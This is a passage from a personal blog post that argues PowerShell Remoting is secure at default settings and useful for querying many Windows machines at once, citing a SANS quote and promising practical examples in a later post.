I haven’t found any significant risks with PowerShell remoting, most are which all attribute to the fact an administrator has enabled Cred SSP or enabled trusted hosts. If left at default settings PowerShell remoting is designed to be secure from the word go.

Let me put this quote from an article on the SANS blog to you;

If you allow administrators to remote desktop into Windows hosts in your environment, then you should allow, and even encourage, PowerShell Remoting as an alternative since it does a better job of protecting domain credentials by avoiding interactive logons and delegation tokens.

Benefits of Remoting

PowerShell Remoting is not just for servers it’s for your client devices to.

The biggest benefit for PowerShell Remoting is the ability to quickly process a command across your estate and collect the information quickly and efficiently.

Take an example you need to identify non-managed Symantec antivirus clients on all desktops, using PowerShell remoting could see you having that very answer in your lap within minutes not hours or even days!

Wrap Up

This is my first post on here and something I have a great deal of passion for. I am hoping to produce more somewhat helpful documents like this. Although I struggled with the web based editor to write this up, I hope the big wall of text is broken down enough to make it readable.

PowerShell remoting is an absolute must with the direction Microsoft are taking their products in, not learning how to utilise it can see you spending countless man hours doing a manual task when there is no need.

My next post I will go through some examples of how you can use PowerShell Remoting for practical day to day tasks.

I would be interested to hear your thoughts, comments or PowerShell questions you have; I hope you found this useful, thanks for reading.